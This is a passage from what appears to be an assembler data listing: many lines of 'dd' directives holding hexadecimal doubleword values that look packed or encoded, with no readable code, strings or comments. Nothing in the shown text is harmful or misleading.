134FAE6Ah, 10AB68D9h, 8554BC18h, 0CE08A36Bh, 861D9096h dd 8C5DFB60h, 74620B42h, 210CC8A8h, 98AF221Ch, 0C4DFD6Eh dd 0FF638E34h, 0BC710C4Dh, 9C740814h, 7EA82985h, 0E0290841h dd 0A47B1446h, 0BCB0B96Ch, 264ACD48h, 0D1821045h, 0BC113D0Dh dd 0C8ACFCB6h, 8A790C82h, 290C6E14h, 44272863h, 8D11D799h dd 0EA10A56Dh, 0E082C89h, 6CD9966Dh, 49E36719h, 708A2B08h dd 0D42E0C45h, 97F025F4h, 815AEDDh, 803BE55h, 0C8094072h dd 591CAA6Fh, 8810B695h, 8C6722D2h, 6EA984C9h, 0F4E208F5h dd 9216CF3Dh, 998B7A10h, 6152CDD0h, 54AC6920h, 270CA3ACh dd 0DDE052Dh, 4364380Ch, 2DB06418h, 10D166B9h, 4D58672Eh dd 0E85DFE10h, 5B2D7402h, 207C3644h, 12E3EABDh, 8932808h dd 0E592ADA0h, 3B11C86h, 0C6A631Fh, 462D3EC9h, 1C745262h dd 4D14844Ah, 0BF5F6108h, 4A0C52B6h, 1865B8F7h, 9A60AC68h dd 6D04DE10h, 0E2905911h, 10B4A4F9h, 106A589Dh, 63C9089Eh dd 79FA101Bh, 1059C0B3h, 750840A7h, 1422B0B3h, 79700995h dd 0FC19B4E3h, 1F344F3Dh, 4AA70C11h, 0C14B3B1h, 81AFAD7h dd 0E026DA68h, 68951421h, 0C77280Dh, 14A479FAh, 502BF9B1h dd 6B54413Eh, 50F60824h, 0ED621965h, 680CD1BCh, 0B520085Ch dd 888AEC97h, 0F57A630Ch, 6A6284F3h, 0B7088488h, 69348A52h dd 0C590B408h, 3BCC996Ch, 877B04Ah, 9CD52D4Bh, 54651408h dd 0A46B4C6Ah, 4A794258h, 0E032C484h, 0C0135567h, 18B1114Bh dd 52117CEBh, 40515879h, 8536F44h, 186D5C1Eh, 7B7A4110h dd 0C26CA369h, 0B2D4F979h, 9FDC6B10h, 0FC11641Bh, 0F034D0D6h dd 483BB478h, 0AD18B540h, 70396BBCh, 5B68F38Bh, 946719D9h dd 0DE0C7412h, 0FCF3126h, 9E301472h, 88ADA2Ah, 49CCB52h dd 19910C22h, 20849F20h, 0FCC7644Bh, 0EF62112Ch, 506E844Dh dd 0A296084Eh, 1B9F78CDh, 0B114F53h, 2088728Ch, 0B477BE34h dd 340821C0h, 18783694h, 68086F53h, 1BAD0826h, 736DC15Dh dd 10693473h, 108ACD58h, 0DFCC3E89h, 32720C81h, 74FA783Eh dd 8ADFBB6h, 0EC6B0C00h, 1719D24Eh, 6C75E618h, 0F967E418h dd 44FB0847h, 6510C7F8h, 0A5188A6Bh, 105AD41Bh, 40571FC4h dd 79789CA3h, 0BCE8B968h, 132F6434h, 62350A6Ch, 0DD176FFCh dd 0DA0C07C6h, 6D864C4Ch, 9B894CAAh, 854F58D1h, 1AF86462h dd 8C21997Ch, 25084350h, 567C732Fh, 39D94E28h, 0E02B83Fh dd 7334B32h, 110D5058h, 454D0888h, 0C383908h, 3511544Eh dd 64501C83h, 87A3F75Dh, 0CA55794Dh, 0EB5003DCh, 0E8059002h dd 2FF60F9h, 66C9315Bh, 800EB961h, 43F40E73h, 18F953E2h dd 0C2DB1CCh, 3302C086h, 400364C0h, 0BA78303Fh, 7006E18Bh dd 0E86AD1Ch, 0A09EB08h, 0B38D343Fh, 0F13C0C7Ch, 0B9D03D0h dd 78484FCAh, 0D72041A7h, 1C59D0DAh, 0F6E4FF33h, 27C05771h dd 7981100Ch, 245B9E0Ah, 98021F14h, 74031633h, 795639Dh dd 0C0833B17h, 30C33704h, 0DB74F685h, 0D7E8FFE8h, 6F20339h dd 12E857FAh, 0F66FF9D1h, 2D200EF5h, 5EAA7269h, 6A3838DFh dd 3317E818h, 0C3780175h, 81665AB5h, 0F100710h, 0A6A8ED84h dd 5B0258C3h, 0EC83505Dh, 8B9F8054h, 75488DFCh, 0F3D70040h dd 0AB44B0AAh, 51715257h, 30286A39h, 53550C01h, 83D601FFh dd 0C08554C4h, 0DE64A7C3h, 0EE757264h, 18BCD4E9h, 0F84E5B7Ch dd 79BA966Fh, 80F32E0Ah, 0AFF6BC5Ah, 79E7026Fh, 53C6086Dh dd 9C1CB614h, 78012963h, 8C20B97h, 5540E0D0h, 533A7465h dd 0F9762C18h, 1E80A23h, 80C495Ch, 40E20614h, 316D64A9h dd 0DC393325h, 0A463CBCEh, 0F3401B42h, 8E09148Bh, 34BC40DFh dd 348735E2h, 10402F1Bh, 6BF901BDh, 3038D605h, 53410A40h dd 1C312E4Eh, 5454482Dh, 1B94050h, 4BD2D915h, 14E7DA40h dd 564DEA40h, 3BB48042h, 0FF34540h, 24203C40h, 857C0054h dd 4D11C840h, 0E4011B1Ch, 129008Eh, 0D84FC8CBh, 5A1610EBh dd 6A5C334Ah, 34800180h, 59E2990Ah, 897366FAh, 0F798ED70h dd 9521C3F0h, 0E664690Fh, 0E9877C12h, 0D9633485h, 0D841CB91h dd 7E9AA5EAh, 0E1EF316Ah, 0E9B9E70Bh, 8DD7FC62h, 0CF74AA07h dd 0A6D6C8CEh, 0F36B0019h, 3F6AC097h, 0C6EA91EDh, 9D5E1A03h dd 0E707BDCh, 5412C710h, 9ABDDF41h, 0D07E615Ah, 503FAA58h dd 0CD826FFFh, 0F3EF1C85h, 0A81E6D9Bh, 0D863F912h, 5F3D1A6Eh dd 0F3499F97h, 0E571C006h, 1A80E5DCh, 66CFCB94h, 0C36365CEh dd 229DF3D2h, 0C96FF026h, 0CC988F03h, 0C7692C9Bh, 879E5E2Ah dd 0AA243099h, 0DE031059h, 0CE89F39Dh, 6D2836CAh, 616C0D36h dd 1650D46h, 12DD751Ah, 8042AA6Dh, 8510C034h, 0EA627B17h dd 6A164DFh, 5ED907A5h, 0A098B592h, 89DE14CCh, 0CACF36C9h dd 5EEC6702h, 0FA1BA5F8h, 0BD27FDF4h, 0FE7D3A0Ah, 0AC71313Ah dd 0ECCC1C35h, 81C85160h, 0C34B2480h, 777B32C0h, 3E715A80h dd 0FE6762h, 0C9EDFCDEh, 0D8FAF6EBh, 0E9EDFD71h, 0DA99C4EAh dd 0EDF80CC7h, 1D33129Ah, 0E1DCF8D8h, 0D4DFDF0h, 0F8DCD5F1h dd 0FBFDE9FDh, 0E026B7FBh, 0EAEE0732h, 3EAAC6ABh, 0E57BA7F4h dd 88F23C9Bh, 0F0FB240Ch, 0EAF5E8F7h, 3E7CDEEAh, 64FAF819h dd 94F4E7E9h, 0B5C5FA80h, 0AE4AE9FCh, 6E69AC44h, 0F47DD9EAh dd 12DD3703h, 2C5E1428h, 45A2FCBDh, 0B594E677h, 0A72F0851h dd 3A45634Dh, 9D54203Ch, 21A15173h, 5402826Fh, 0ADF66346h dd 14184D5Ah, 16778A0Bh, 34488776h, 0EB8EEF2Dh, 0DD5CA84Fh dd 13CE9F69h, 54FE32EFh, 238CE57Fh, 368C2CB0h, 29530F86h dd 0A84CE2B4h, 5A38AE90h, 0B9F4C8EDh, 0E2C16DB9h, 0F67B140Dh dd 5AD759C6h, 55DFE3E9h, 0AEE43429h, 271EE384h, 8FEF50F7h dd 4F2F356Fh, 6898F5BCh, 7BE32E29h, 0ABD060E7h, 5BBBF8D2h dd 64F4F4BDh, 0D1F3AF20h, 4F07EC4Fh, 5AEA6CECh, 4FE908A8h dd 0FD3A4231h, 0FBD3380Ah, 0EC5E2A6Bh, 9B3EB4D0h, 0FEF43490h dd 0FEE487CBh, 0EFF5F8CAh, 4C953CDEh, 0A45E2C8Ah, 0AE926F63h dd 2846149Ah, 7B22FE93h, 84C57F53h, 530290A3h, 942D6275h dd 0C4A09310h, 7F35CA46h, 68407452h, 0CF3FAE12h, 0B4E460F8h dd 664F6F0Ch, 0EFA522F8h, 0AED674DFh, 7AEF4956h, 0A4184CFCh dd 6C91AC6Eh, 0ED4FB5D1h, 0B6E14FDBh, 0DB725E30h, 94E74217h dd 0B98CBF73h, 0D218912Eh, 40AD9D96h, 0E0755365h, 2C23716Dh dd 9069EBD7h, 0AD75344Ah, 80D62F35h, 0C2588D5Eh, 2924290h dd 0FF88C10h, 8AC0170h dd 0FDF0200Ah, 0FF120C7Fh, 19F2E5C5h, 0C8A5183Ch, 372A6AB6h dd 62700713h, 43500200h, 54454E20h, 524F1B57h, 67A7B44Bh dd 4D417347h, 302E31C0h, 2F4C30CFh, 29065A4Eh, 3F4C770Bh dd 9FF4666Eh, 0F6A59F24h, 1E709840h, 31332E33h, 0E4D5161h dd 30583248h, 3E332B3Dh, 0E4162EEDh, 32DC2054h, 0F51630DBh dd 86738828h, 0CB10743h, 40B85FFh, 1A380A11h, 8006CAD4h dd 2E811008h, 4B0E1944h, 0A745AA46h, 3E0DEF3Bh, 7D4742A0h dd 90024152h, 21C68F2h, 2102DCDCh, 0E0423F3Fh, 49484783h dd 9E4B504Ah, 504F004Eh, 54535251h, 57005655h, 615A5958h dd 646362h, 68676665h, 6C6B6A69h, 0CC26D4Eh, 245E71h, 78777675h dd 304A7A79h, 2B8571FFh, 98BE682Fh, 50816660h, 14899BECh dd 0DBEDE8E6h, 9683680h, 637CD612h, 8919F761h, 0A2E10846h dd 4761440h, 0D06B0F68h, 0E2AACA2Bh, 110C9E15h, 97FAC43Fh dd 0CDD62487h, 0DB313E1Bh, 99E0103Fh, 0C389D0FFh, 768B561Fh dd 0B9C7143Bh, 0A4F30110h, 50C0315Eh, 6530298h, 0C3656FFh dd 40D49E8Bh, 5E3F5FC4h, 60E0065Bh, 7123E8h, 0C24448Bh dd 837C588Dh, 53C430Eh, 9288E81h, 631F2610h, 0FFF0380Eh dd 24048B80h, 5014C483h, 67C37CCEh, 32F764D2h, 26228933h dd 4B1BB8C6h, 0F402A161h, 0AF07F3DFh, 0EB430374h, 107E216Fh dd 58FC8F64h, 60C31361h, 8B2321BFh, 89C78E1Fh, 0F842FE07h dd 6B78C781h, 39F9D83Eh, 4743F19h, 0F8EB098Fh, 5A4FFA4Fh dd 0DF05DE3Eh, 0F63EBE52h, 4A3E113Fh, 0FD43C606h, 0A1286E01h dd 4039360Ch, 6E58B31Ch, 8E1EC51Eh, 4460EB1h, 6C8F9ABFh dd 45C72824h, 554F33Ch, 9FEA8C3Eh, 5A0F184Ah, 0E3EB0120h dd 34ED4938h, 31EEC0F7h, 0FC95A0FFh, 7E0FAACh, 0CFC10774h dd 0EBC7F00Dh, 7C383BF4h, 0E1759B24h, 660EB448h, 124B0CC6h dd 0BF061C41h, 89E82854h, 3861F6DDh, 487E08C2h, 0C4C2F8FEh dd 0D881F254h, 4946E8FCh, 7CBB91F7h, 4FA0EF3Ch, 2E235F42h dd 0AC99C083h, 40B7A684h, 5488C2CAh, 75041A24h, 5B3344E3h dd 3F4827CCh, 325C8919h, 645A94C3h, 85301DB2h, 0EE0F788Bh dd 8680AA0h, 3F5F0BE9h, 7C05348Ah, 3C680008h, 60F6315Fh dd 0DEB561Eh, 0FCEEF49h, 0FE98C072h, 0B570E8Ah, 0EEE8E7FFh dd 0FC878443h, 2BE20643h, 57101E6h, 19A00235h, 0C8A1CCA4h dd 439C0309h, 308C4A79h, 1905506h, 6D6322C2h, 0D72FDFC1h dd 3C11F89Ch, 94E95F6Fh, 3E3F2396h, 14261A2Ah, 192979B7h dd 0BF3E0531h, 5E145227h, 1C4ECB5Ah, 2AFA9F12h, 4941086h dd 8E2DB73Fh, 1BF88D3Bh, 6022A73Eh, 83C93302h, 0D9AF1CE9h dd 247480EEh, 73815BF4h, 1EBB1300h, 0EB836AD3h, 0E27DFCh dd 25387447h, 952CE753h, 587E4403h, 0A13A9F06h, 0AFE8872Fh dd 1FC3076Fh, 0EFF4E13Ch, 819B3587h, 308B8938h, 30785EF7h dd 7B5B3D03h, 0A0EE7F87h, 0ABD46Ah, 0A8D21371h, 3EE8EA50h dd 0A6369F00h, 0F7413089h, 78F86Bh, 95F06658h, 0F5BA768Ch dd 3046D000h, 0A74EBF97h, 5810607Fh, 8B2A587Ah, 66939501h dd 0C7CF6E30h, 0DB5ED0h, 9D90D334h, 2C4E5764h, 0C58ABC00h dd 76DD39B5h, 0D3580EE0h, 0E481A069h, 0E0BA2C4Ah, 96373ED5h dd 97C03180h, 4C3A0C36h, 0EE00ECF3h, 6B95D174h, 630F0A76h dd 84B34Eh, 39804D6Dh, 0E890E8E8h, 50B1F1F8h, 0D30FD368h dd 2E8B5AE0h, 70186AB0h, 7439D9CBh, 0EE3B00C3h, 1F0203E1h dd 833CFDB3h, 390514ECh, 575E040Ch, 3A412355h, 8E864AEFh dd 40BB8D88h, 3DAAD8C2h, 19C86144h, 830EB978h, 3207B080h dd 0E23AC0FBh, 0E31F0737h, 4097745Ch, 99132F59h, 91E01117h dd 0FF401F1Fh, 0EB6436F9h, 0B5100FC1h, 0AD8018BBh, 5ACE95C5h dd 49E08CA0h, 0EA3B8103h, 3C6BB94Fh, 44008608h, 62C7BBCEh dd 39641D1Bh, 2082B990h, 30888029h, 37E92F49h, 5C487A7Fh dd 0D00854E1h, 35E80A33h, 614952C0h, 3EFFF88h, 28AC8144h dd 0B22AE320h, 0F1E849A4h, 8C025817h, 29CC94BBh, 0D76419C6h dd 1A308A08h, 0EE1A0804h, 50583931h, 0CCC28ACh, 31082B30h dd 30069295h, 3A544E18h, 329A2C34h, 1F240230h, 53E01F2Dh dd 40744EBh, 0C08A885Dh, 9F11C91Ch, 50AE858h, 6048102Bh dd 4FC81400h, 704B32h, 1201D316h, 0BF475A78h, 88E16E10h dd 1D335C8Eh, 69700904h, 62265A8Fh, 0D6EFA972h, 261314B3h dd 806F2463h, 0E369FC71h, 0CD8365F2h, 0B484222Ah, 84FF1375h dd 8A106436h, 88762685h, 0C3251148h, 9133499Ah, 0F1001C3h dd 297C8ECh, 0DA64185Fh, 0B7148900h, 1D9D2C9h, 34EF333Eh dd 0B8431F25h, 2F5C8A30h, 0D1FF0161h, 8EAA0A62h, 55222801h dd 6403A154h, 50FE015Fh, 1AF6503h, 570328FFh, 94FF0166h dd 1672B03h, 1503CAFFh, 0E5FF0168h, 169030Ah, 385F2FFh dd 0F9017F6Ah, 0BF6B0342h, 3A1FC01h, 0E3014A6Ch, 6EB8841h dd 1E100E0Dh, 0A4326D50h, 1E87B0FCh, 877FC8C8h, 94B33460h dd 0F2071CAh, 0B9377880h, 0FDECCF7Fh, 52C0C2EEh, 0D8B08203h dd 870C900Fh, 0E89E9DC1h, 43CE9403h, 2686C1EDh, 3A1EBFE4h dd 0F3005D64h, 8AB518CFh, 943C1BC9h, 5B8D8373h, 203CBDAFh dd 0E100EC40h, 0C34D543h, 7EC597h, 0F4F5CB6Ch, 63FDA40Eh dd 0E80BE61Dh, 9A43E380h, 7880C4Fh, 0D4F7F4D5h, 0C0C74074h dd 90E1787h, 4393D786h, 0F8190F37h, 3A4CB1AEh, 0CBAA0B5h dd 808D9707h, 92128057h, 8978F37Bh, 5000517Ch, 3449E19Ah dd 9D8577h, 18787DB3h, 3D8EA6B1h, 328743Ch, 0D42C8A1Eh dd 0A33CA39Bh, 0C750C68Bh, 4FEC5E68h, 5D66F683h, 0B89DDBC0h dd 0B3391E61h, 26E4D66Fh, 6CEF03AFh, 9F6E5174h, 40D4A9C1h dd 0F9902D0Ch, 18D7CE44h, 882A8D9Ch, 6006174Ah, 0D0061FB1h dd 0BF19C3E0h, 8007E315h, 3C41EA1Ch, 0F091D780h, 2F0E39B3h dd 2A283BBAh, 627400CCh, 36AA3D27h, 1400539Bh, 2C47A345h dd 7C177263h, 696A05F5h, 9DBD78h, 2D8E938Ch, 881999D6h dd 2A088615h, 750937E0h, 0DC110C17h, 1590D4B1h, 0EE501C90h dd 8E064388h, 0BD0C0483h, 0E19A6048h, 0D87B5338h, 0C0AA9B41h dd 16D5345h, 0E070BFBAh, 434E2556h, 73A19957h, 9E22A83Ah dd 0C1AB5B53h, 7B79422Fh, 0C75DA1F4h, 0BC465240h, 3368302Eh dd 0A130546h, 844E44E3h, 0D4A5BABCh, 4FBD2E3Ah, 22693EDBh dd 0CA129FBh, 4FC3D1C9h, 93C1B673h, 0A4D344F7h, 46672FBBh dd 53BB5106h, 75329C51h, 3450BA8Eh, 0ABA14F30h, 72E3BFC7h dd 0C9FF8D30h, 34388730h, 43E23532h, 0BA45FF61h, 0A555DE2Fh dd 0DBCB16FFh, 0BF5B0343h, 0AEB549FCh, 0AC2E8C9Dh, 7EC0B6ACh dd 20545736h, 3834769Ah, 18123ABFh, 7B353137h, 0E54F6B30h dd 492790FDh, 52411F4Eh, 285DE559h, 18FA817Fh, 73455280h dd 7C68AA54h, 4F500F5Ah, 3AF765DFh, 0D0515D8Fh, 0AE6DA948h dd 3403B3DEh, 49047818h, 63202A14h, 5D2C5E5Bh, 0CF065AE5h dd 58289C0Ah, 936CCC8Dh, 53492A4Ch, 4F30A420h, 761EF450h dd 0CED655Ah, 0D7F1DFE7h, 7C40BDE2h, 53411450h, 0AFA5B856h dd 0E6AA7894h, 0AE492A95h, 0C8184AE9h, 5444BA41h, 45505915h dd 37350338h, 952F2220h, 0EE4B9CF8h, 0FF640772h, 0F1843F4Eh dd 4457501Ch, 48443312h, 5D8D6552h, 304CD159h, 0A2CCAC53h dd 0A7815565h, 2A46796Eh, 191F6784h, 0CC185914h, 95556833h dd 127AD15Eh dd 30B02E38h, 3129338Eh, 314CC5D7h, 0A07571E0h, 769D41EBh dd 0BE40349Ch, 2C322065h, 0CF60BB30h, 2E9C77B7h, 4FA5ED6Ah dd 0F6AE053h, 5BB15DCBh, 0FE9FAD2Ch, 0EB6E1AAAh, 0B985F843h dd 0DC4724ECh, 0B44BC23Dh, 0BBF2F38h, 90405297h, 364B6519h dd 4385253h, 0FB796D2Ch, 0DF1EFB1Ah, 2D5B64C4h, 2C9BFEB9h dd 638A9FBFh, 132C1912h, 0A4102573h, 781E1112h, 3DCED0B9h dd 70583067h, 1EA112FDh, 57C4D25h, 0E43F5F38h, 7F12496Eh dd 4C641214h, 0B786670Ah, 41694029h, 954D9B7h, 14DC522Dh dd 2FA6D6A6h, 7F554436h, 3454EF44h, 4D470303h, 0BD225B54h dd 5E2D25D9h, 0FEDC2FF4h, 577A1A48h, 0BE2B890Ah, 0FFD614D3h dd 2EAD962Dh, 264D11F6h, 0D7F004A3h, 0B87DDC23h, 0E7A0B0FFh dd 0DA5CF83Bh, 8F58D02h, 2BB4DCDh, 15E179A2h, 0F76C8392h dd 2F7339CCh, 35657ECFh, 7DB669D3h, 1C3FC49Bh, 3D2FA678h dd 486C263Eh, 0E2664A54h, 5522B951h, 28903847h, 0B217ABF4h dd 2A556DFEh, 2997299h, 345C092Ah, 7E9746D6h, 0AF69641Ch dd 0E1ABAE24h, 0F6AB2593h, 3DB7E5FFh, 0A2B1BD76h, 3E93703Ch dd 0FE0C14DAh, 4C4F05C5h, 4E3A8053h, 3372223Dh, 483C3E1Bh dd 412FA32Ch, 93DE1B2Ah, 410E0522h, 5E454C42h, 444F050Ah dd 0FD095459h, 694C4D1Eh, 1C752548h, 437C8BFCh, 639F7B15h dd 5825654Ch, 286D9D2Dh, 9432DD30h, 569A280Fh, 4D292ACAh dd 95887A8Ch, 0F1F54957h, 11934448h, 0A14194DDh, 92808DF2h dd 85093CA2h, 7B0BEB25h, 5A47E005h, 6255CAC3h, 643338AEh dd 0A334AD6Bh, 545238D3h, 0EEF41B3h, 2EA21814h, 267361E0h dd 3B5657B0h, 0B4EC911Fh, 39EEC87Dh, 1C28C20Ah, 0D8DE4373h dd 0D62D29ABh, 2BC01EF2h, 68BA2F73h, 393270D8h, 251F8D86h dd 5320AFFFh, 0A71A146Dh, 154C413Fh, 1A46451Ah, 0BC2900B7h dd 24372AB5h, 29CA3276h, 9E062F64h, 6A209C34h, 63A550Bh dd 411B73B8h, 97F914Dh, 0B48436E3h, 855C7166h, 615009B9h dd 0AF53D64h, 5D4BF43h, 80F37FA9h, 8E3B64D6h, 3509B7ECh dd 0BD6FA204h, 0ADAF1852h, 116B2748h, 560A2083h, 9753ACDDh dd 0E0B5FC62h, 3179B220h, 58554958h, 92075862h, 8A203926h dd 58A16455h, 52379D20h, 309C3C68h, 3C2D52E5h, 10C5A4CEh dd 7B234145h, 8D4C9649h, 0DD27343Fh, 372519DAh, 0F5EC49E2h dd 465C543Ah, 0C80699D2h, 654F520Ah, 1D2A701Dh, 769D48F8h dd 5F956B9Ch, 0D5650A9Ch, 5D96FCB6h, 0F403DBDCh, 44B3E5CCh dd 4E090E31h, 7CD458EFh, 63A244D1h, 27565977h, 51BF7496h dd 1675A5AAh, 5CFC97DCh, 973E86DCh, 3C48D8CDh, 6A4E4371h dd 0F5A3FC92h, 48909CCEh, 0BB53BFE7h, 79A47B9Ah, 9A880B40h dd 49861596h, 0A75C6D57h, 62BD3F9Eh, 736A028Eh, 47C3CB40h dd 45CA2C55h, 73ACCC8Ch, 52D98EE3h, 29286475h, 0ED46DEBh dd 1626DA58h, 30506257h, 41A4696Dh, 0D2BA9420h, 689F0A1Ah dd 736A762Fh, 3EBED24Ah, 5650341Ch, 2401F414h, 4ABD426Ch dd 0EDE127FEh, 0C012A1EFh, 0A444CD1h, 0F76A5C92h, 2C4AE9C4h dd 0FBC465EAh, 0F80ACB8Dh, 0D3A48FE4h, 4A7C9EAAh, 49F46ABEh dd 3C1EE963h, 46BB6349h, 0FF52CB44h, 1A7A111Bh, 9B41D29Dh dd 0D78EAAB7h, 42BBE9AAh, 2E73C55Ch, 0BA4FBC6Fh, 9E5EDA36h dd 432D63C3h, 467D68D2h, 7C569DF3h, 6B38A576h, 93FE96DDh dd 53577930h, 5C4B46A2h, 914032F8h, 0F67BE970h, 24732414h dd 27A487FCh, 1AD89255h, 24C4F5F1h, 6346ACAAh, 14F26CA5h dd 0E4769D48h, 0F1665DC9h, 73C5708Fh, 7F846C25h, 8F705792h dd 0B02CAAB7h, 0A640A37Fh, 7241A17Ah, 88CAA817h, 5C44975Ch dd 0B4807152h, 2652B9CAh, 4B66548Bh, 7E7B9AD4h, 6C462493h dd 70FC95F9h, 0FA9A345Dh, 2DEFB874h, 0D2340F70h, 3C46FF7Bh dd 0D1626ED7h, 7F9DA444h, 4E42764Fh, 91150B41h, 0C5CE5F94h dd 2EED4491h, 0CDFA5D25h, 0ACE212Ch, 4BBDA440h, 2579C945h dd 9829AF97h, 69CB7A63h, 212D9EE6h, 9C315B3Dh, 6B040C05h dd 0BA1786Ah, 0B17E2F54h, 99ED5425h, 86601E8h, 4DDA9509h dd 2330785h, 0B5095E0Dh, 66070AE9h, 5091B02h, 4353455Bh dd 207765Dh, 46147050h, 7A5317Ch, 0A7710232h, 7DA320Dh dd 72022A53h, 0A5337D0Dh, 73023207h, 0DA340DA7h, 22A5307h dd 357D0D74h, 23207A5h, 360DA775h, 2A5307DAh, 7D0D7602h dd 3207A537h, 0DA77702h, 5307DA38h, 0D78022Ah, 7A5397Dh dd 0B1790232h, 0BBFA30ADh, 7A022907h, 78463F14h, 237B4686h dd 22C33B32h, 0F6049C0h, 18147E89h, 67043153h, 0E5082103h dd 3043632h, 538E4070h, 3670433h, 34E50823h, 70030436h dd 35538E24h, 25036704h, 3636E508h, 5E700304h, 437538Eh dd 8260367h, 43538E5h, 144E7F6h, 0CE04A639h, 0CA112803h dd 36C0430h, 0BD1CE129h, 0B2D09CAh, 14625F45h, 623D24BBh dd 944142Bh, 154AB65Bh, 2D9075Dh, 43F82751h, 5701440Bh dd 0BA19493h, 454C01A2h, 14BAE751h, 20DD52C4h, 1120B0Dh dd 860C6E54h, 5901890Bh, 0B43BC27h, 9B550144h, 0A20BA120h dd 70259D01h, 130B2969h, 9294F01h, 7C4B0B6Fh, 4A7051A8h dd 0DB01440Bh, 16D4DCA4h, 14EA4FFh, 7DB310DDh, 5E417384h dd 0A01E509h, 53026407h, 0B0DD4DDh, 29440113h, 480B6409h dd 9469901h, 440B4A66h, 9CA4701h, 26520B67h, 52094801h dd 1910B68h, 6A094A32h, 1890B94h, 6B09944Bh, 14CA40Bh dd 0A56C094Ch, 6501220Bh, 223B09BAh, 14B13A0Bh, 312712DEh dd 5A2C0A22h, 680BE810h, 74589601h, 4C0B344Ch, 63094301h dd 1220BA5h, 0D09C5659h, 2E01D10Bh, 0DD735942h, 254E1462h dd 130B296Eh, 9294D01h, 1480B6Dh, 2C09BC99h, 0AC3C0B48h dd 2EBE4414h, 883E428Ch, 842F91BFh, 0DC723F2Eh, 7C635C24h dd 20117284h, 5254435Bh, 75D4C2Bh, 8F3EF02Bh, 954E4957h dd 2002D907h, 70A044Dh, 56289968h, 50F42C45h, 230E9452h dd 91023207h, 4C16148Ch, 7AC4B7Dh, 0EF3E589Bh, 72BFF68h dd 0B2CFF1A6h, 0EACA87BFh, 4133CB07h, 5547921Ch, 4607D6FEh dd 44287DECh, 78EAC45h, 0FC3E41B3h, 5DFB4E7Fh, 0BEC15907h dd 59FDFF6Bh, 7D416607h, 46454C0Fh, 9607B554h, 0B7DD2D67h dd 449070Ah, 4752469Fh, 78C5048h, 0E2312DB3h, 0A0A3574Fh dd 90023207h, 4D4A148Fh, 2607A3DCh, 0CE7CA958h, 6A9723FCh dd 88628139h, 609C6DCBh, 6B2E0AEFh, 60C57259h, 9C396097h dd 614A14DEh, 14DE642Dh, 0E19D6243h, 0DE396344h, 9D644314h dd 396544E1h, 664314DEh, 6744E19Dh, 4314DE39h, 44E19D68h dd 14DE3969h, 0E7A86E4Ch, 53755278h, 4CDF49D4h, 0A9647B08h dd 3A022003h, 0FD2A5D19h, 595CCB40h, 52288984h, 294F46E4h dd 29325CAAh, 135DA514h, 0E1BBC406h, 2191D1Bh, 717F4318h dd 0ACF3A715h, 34693A1Eh, 65DE08Bh, 4409DCA7h, 3A88D0D8h dd 725CB52Eh, 3AD001C8h, 6418A72Ch, 40213F21h, 0C80F24F9h dd 5E437E25h, 901F26F2h, 872DFC2Ah, 213F2BE4h, 0F5CF92Fh dd 437E3DC8h, 1F27F23Fh, 7EFC6090h, 3F20E487h, 8E772E25h dd 0C82F122Eh, 21B21843h, 0FC40901Fh, 25E48724h, 0F95E213Fh dd 2AC80F26h, 0F22D437Eh, 2F901F2Bh, 0E4875CFCh, 3F213F3Dh dd 0C80F27F9h, 7E437E60h, 871F20F2h, 0E64692Eh, 872CBC10h dd 213F21E4h, 0F24F940h dd 437E25C8h, 1F26F25Eh, 2DFC2A90h, 3F2BE487h, 5CF92F21h dd 7E3DC80Fh, 27F23F43h, 0FC60901Fh, 20E4877Eh, 682E123Fh dd 2E6613BFh, 0EB051A9h, 7E24C818h, 2EF22543h, 48B8515Dh dd 181DD260h, 136C2E8Eh, 1843403Eh, 901F24B2h, 432EFC25h dd 1F21E278h, 25FC2490h, 0E2DDE987h, 10181755h, 8724FC21h dd 93E25E4h, 0DD444320h, 183E5D62h, 95CCF695h, 1A31423h dd 5CFE094Ah, 50182904h, 4521504Fh, 0EA77D252h, 25181796h dd 6227BC7Eh, 0F75AD57Bh, 57474F6Bh, 1802F66Ah, 48955355h dd 0BA5A0211h, 0AC184C50h, 84F0B570h, 0CA9B27E7h, 59993003h dd 184A4C06h, 0AE963090h, 302ED7C4h, 4F432E04h, 0BF53784Dh dd 0BE43B684h, 0C2695483h, 87189E3Ah, 395DC901h, 0FA24618h dd 7942E0DDh, 0C87E9D4Fh, 0A67057DAh, 0C729282Dh, 0D32CE8CCh dd 0DFDF75CBh, 0B91DFE72h, 9D46E4EDh, 0F769287Eh, 0A8279E67h dd 0D9D23447h, 0E531208h, 5D2A46A7h, 0DC955450h, 7580C8A2h dd 0A156F425h, 0B297D6ACh, 2C2E1DF6h, 24CDD200h, 54A7C82Eh dd 6528B448h, 9A87A808h, 6C083131h, 388C2E18h, 7CC3633h dd 32300FDEh, 18A86913h, 15E32FF3h, 893A002Ch, 0D9B93B42h dd 0C2F5199Ah, 0E744214h, 7C3A9396h, 8AA4A848h, 0A6D048E0h dd 91408E4Bh, 0A4144984h, 0D853251h, 20D52B84h, 2C74F474h dd 7449389Ah, 48689AA4h, 0C48AA4A4h, 41423C48h, 0D097BB92h dd 325F4811h, 76724C50h, 2055342Dh, 9CD7EDBFh, 4C01202Bh dd 392E302Fh, 3EB1F2CAh, 4E2B5556h, 3677273Ch, 3D1B8534h dd 6E3622A6h, 19AAE1D3h, 2DE2FF0Bh, 23005612h, 728FE838h dd 4645381Fh, 3491372Bh, 346750B5h, 0FDB55FFh, 1CAF434h dd 37306DB4h, 0A3BEB401h, 6E0E99A8h, 0D356F82Eh, 2A4BC9EAh dd 4BF84FE5h, 102F4B42h, 0FBF42896h, 663F73B5h, 0F49F8BDCh dd 44147A1Ch, 471ABA82h, 0B7A6D17Dh, 0E7F7A96Dh, 1B401A30h dd 49575D12h, 7FEA4DDFh, 4C8D6470h, 0CFAE6516h, 4338460Dh dd 0D04A424Fh, 0A4D8435Ah, 0F6EB4864h, 128D5AA8h, 20701E95h dd 0ACF2AFB4h, 47287E96h, 0ED265930h, 0B4F17DC2h, 0D1945DE9h dd 0DDA7C785h, 2C8FBA94h, 29E8F023h, 7CF97D7Ah, 0AD545368h dd 4A2C231Ah, 3EE1DE43h, 44B29CE9h, 2892FE4Fh, 532AFC29h dd 0C88EFE7Ch, 2EA22946h, 7E9F289Eh, 0BD552D6Dh, 6D4BA35Ch dd 0F4EC3E80h, 4B6744E2h, 0A7B25769h, 0A6DE5E0Fh, 42577206h dd 685247E3h, 26455950h, 9FA6A60Ch, 4A72BAD4h, 0D65B1A50h dd 0FC672DC5h, 94CDF749h, 8CED57A4h, 517040A1h, 0E55E373Ah dd 6DA448E9h, 0A4662638h, 0B86A3469h, 4D7CA540h, 5223B12Ch dd 769F8096h, 3B53D948h, 57E59199h, 9F581856h, 